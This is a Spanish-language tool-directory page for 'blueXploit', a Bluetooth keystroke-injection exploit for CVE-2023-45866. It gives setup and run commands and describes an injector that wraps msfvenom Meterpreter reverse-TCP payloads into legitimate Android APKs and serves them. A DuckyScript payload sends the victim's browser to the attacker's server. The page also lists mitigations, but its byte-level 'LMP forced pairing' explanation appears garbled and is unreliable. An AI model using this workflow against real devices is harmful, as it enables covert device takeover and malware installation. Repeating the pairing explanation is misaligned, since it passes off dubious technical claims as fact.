Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
blueXploit — Exploit basado en vulnerabilidades criticas Bluetooth (CVE-2023-45866, CVE-2024-21306) | Kitploit
Herramientas/GitHubGitHub/danyw24/bluexploit
Seguridad BluetoothGeneración de PayloadsExplotaciónSeguridad InalámbricaPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubdanyw24/bluexploit

blueXploit

Exploit basado en vulnerabilidades criticas Bluetooth (CVE-2023-45866, CVE-2024-21306)

Ver Repositorio
14241hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

blueXploit

image

video de blueXploit

  • blueXploit es mi propia prueba de concepto que reproduce CVE-2023-45866, la vulnerabilidad de inyección de pulsaciones de teclas por Bluetooth descubierta por Marc Newlin. Aprovecha un fallo en el protocolo Bluetooth para inyectar pulsaciones de teclas en un dispositivo objetivo sin emparejamiento, abriendo la puerta a ataques más complejos.

Atribución. La vulnerabilidad y el exploit original son obra de Marc Newlin (hi_my_name_is_keyboard) — no reclamo su descubrimiento. Este repositorio es una reproducción creada para comprender y documentar el fallo; sobre ella, blueXploit añade un ejecutor de payloads estilo DuckyScript, un mecanismo de reconexión/reintento y un ayudante opcional de inyección de APK en Android. Todo lo aquí presente es solo para educación e investigación.

Cómo funciona la vulnerabilidad

Estas vulnerabilidades críticas (CVE-2023-45866, CVE-2024-21306) permiten a un atacante inyectar pulsaciones de teclas y aceptar solicitudes de emparejamiento sin confirmación del usuario. Esto afecta críticamente a la seguridad de múltiples sistemas operativos.

Sistemas afectados

  • Android: 4.2 a 14 (11–14 si falta el parche del 2023-12-05)
  • Linux: requiere un parche de BlueZ.
  • macOS: 12 a 14.2 (corrección parcial).
  • iOS: 16 (vulnerable), parcheado en iOS 17.2.
  • Windows: corregido en el "Patch Tuesday" de enero de 2024.

Impacto

  • La vulnerabilidad permite el control remoto de un dispositivo inyectando pulsaciones de teclas incluso sin aceptar el emparejamiento Bluetooth, forzando la conexión y ejecutando comandos de teclas.

Ejemplos de ataques

  • Ejecución remota de comandos: control de dispositivos vulnerables mediante pulsaciones de teclas inyectadas, donde los vectores de ataque son múltiples — desde obtener una shell hasta instalar aplicaciones maliciosas.
  • Ataques de denegación de servicio (DoS): inundar dispositivos con solicitudes de emparejamiento.

Mitigación

  • Actualizar los dispositivos con los últimos parches del sistema.
  • Apagar el Bluetooth cuando no se esté usando (esto impide que se ejecute cualquier exploit para esta vulnerabilidad).
  • Evitar emparejar con dispositivos desconocidos.

blueXploit - uso y demo

  • Basado en el exploit original de Marc Newlin.

  • Instalación de dependencias

# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus apktool metasploit-framework \
                    keytool openjdk-23-jdk

sudo apt autoremove && sudo apt autoclean  

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Uso de APKPwn + blueXploit

blueXploit incluye herramientas para explotar vulnerabilidades en dispositivos Android, ofreciendo dos componentes principales y un programa adicional llamado apkpwn_injector, ubicado en la carpeta injector.

Características de APKPwn

  • Automatiza la creación de payloads android/meterpreter/reverse_tcp usando msfvenom.
  • Inyecta esos payloads en aplicaciones .apk existentes en la carpeta apk_clean.
  • Configura un servidor local para servir las aplicaciones maliciosas generadas.

Estas características permiten un flujo de ataque eficiente y simplificado en entornos controlados o para pruebas de penetración.

image

cd injector
python3 apkpwn_injector.py

Crear o editar un duckypayload

Los comandos de teclas ejecutados por blueXploit se cargan desde la carpeta /injector/payloads/ en formato .txt, con una sintaxis simple y fácil de entender.

Ejemplo de duckypayload

DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
             

Cambia la dirección IP por la dirección donde está alojado el servidor.

Detección y enumeración de dispositivos

bluetoothctl

Escanear dispositivos Bluetooth

scan on

Ejecutar

python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF

Luego selecciona el payload requerido, previamente configurado.

Demo

La demo completa está en este video

Hardware utilizado

  • Raspberry Pi 4
  • Kali Linux ARM64

CVE-2023-45866 explicado

Esta vulnerabilidad se explota a un nivel bajo del protocolo Bluetooth, manipulando principalmente el perfil HID y el protocolo L2CAP para inyectar pulsaciones de teclas en un dispositivo víctima.

1. El protocolo Bluetooth a bajo nivel

La pila Bluetooth incluye varias capas, como el Link Manager Protocol (LMP), el Host Controller Interface (HCI) y L2CAP. Este ataque utiliza principalmente las dos últimas:

  • HCI: la configuración del adaptador se manipula para que se presente como un dispositivo HID legítimo.

  • L2CAP: responsable de multiplexar datos entre dispositivos, L2CAP usa el canal 17 (HID Control) y el canal 19 (HID Interrupt) para la comunicación HID, lo que puede explotarse para enviar secuencias de teclas.

Explotación de CVE-2023-45866

CVE-2023-45866 es una vulnerabilidad en el Link Manager Protocol (LMP), explotada mediante un ataque de "emparejamiento forzado". Aquí se explica técnicamente cómo se lleva a cabo:

  • LMP gestiona las solicitudes de emparejamiento y la configuración del enlace.
  • Se envían paquetes LMP malformados o no autenticados para forzar el emparejamiento, así:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00

En esta trama de datos:

  • 0x01: solicitud de emparejamiento LMP
  • 0x01: solicitud de autenticación LMP (PIN)
  • 0x00 0x00 0x00 0x00: información de PIN débil, normalmente 0000

Aquí el exploit aprovecha la falta de configuración y autenticación para este paquete, que termina devolviendo:

  LMP Accept: 0x02 0x00 0x00 0x00 0x00

En esta trama de datos:

  • 0x02: solicitud de emparejamiento LMP ACEPTADA
  • 0x00 0x00 0x00 0x00: información de PIN malformada devuelta

Si la clave no se valida correctamente, la conexión se establece pero sin un emparejamiento real, por lo que se puede enviar un paquete LMP de emparejamiento forzado así:

  LMP Forced Pairing: 0x03 0x01 0x0000

La autenticación puede entonces forzarse usando claves filtradas previamente (como "0000") y establecerse un canal de comunicación cifrado, emparejando los dispositivos sin pasar por un proceso de verificación adecuado.

Esto crea un emparejamiento sin que el usuario lo sepa, e incluso sin ninguna ventana o notificación de emparejamiento.

El fallo en este CVE es que ciertos dispositivos no validan correctamente las solicitudes de autenticación LMP, o terminan reutilizando claves antiguas.

Así que una vez emparejado con el dispositivo — ¡bang! — el resto es fácil: en blueXploit.py el adaptador y el dispositivo actúan como y suplantan datos de identificación. En este caso, se ejecutan comandos como estos:

Descargar herramienta